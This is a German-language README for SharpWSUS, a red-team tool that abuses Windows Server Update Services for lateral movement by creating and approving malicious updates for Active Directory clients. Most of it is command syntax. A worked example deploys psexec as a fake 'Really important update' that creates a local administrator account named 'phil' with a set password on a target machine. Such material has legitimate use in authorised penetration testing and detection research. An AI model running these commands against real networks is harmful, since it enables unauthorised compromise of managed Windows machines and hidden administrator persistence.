nettitude/sharpwsusC#-Tool für laterale Bewegung durch WSUS, indem bösartige Updates erstellt, genehmigt und auf Ziel-Windows-Clients in Active Directory-Umgebungen bereitgestellt werden.
SharpWSUS ist ein CSharp-Tool für laterale Bewegung durch WSUS. Es gibt einen zugehörigen Blog (https://labs.nettitude.com/blog/introducing-sharpwsus/), der detailliertere Informationen über das Tool, den Anwendungsfall und die Erkennung enthält.
Großer Dank an die folgenden Ressourcen, die wirklich 90% davon für mich erledigt haben. Dieses Tool ist nur eine Verbesserung der untenstehenden für C2-Zuverlässigkeit und Flexibilität.
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
Die unten aufgeführten Befehle haben optionale Parameter in <>.
WSUS-Server lokalisieren:
SharpWSUS.exe locate
WSUS-Server inspizieren, Clients, Server und vorhandene Gruppen auflisten:
SharpWSUS.exe inspect
Ein Update erstellen (HINWEIS: Die Payload muss eine Windows-signierte Binärdatei sein):
SharpWSUS.exe create /payload:[Dateipfad] /args:[Argumente für Payload] </title:[Update-Titel] /date:[JJJJ-MM-TT] /kb:[KB auf Update] /rating:[Bewertung des Updates] /msrc:[MSRC] /description:[Beschreibung] /url:[URL]>
Ein Update genehmigen:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Zielcomputer] </groupname:[Gruppe, der der Computer hinzugefügt werden soll] /approver:[Name des Genehmigers]>
Status eines Updates prüfen:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Ziel-FQDN]
Update löschen und hinzugefügte Gruppen bereinigen:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Ziel-FQDN] </groupname:[Gruppenname] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"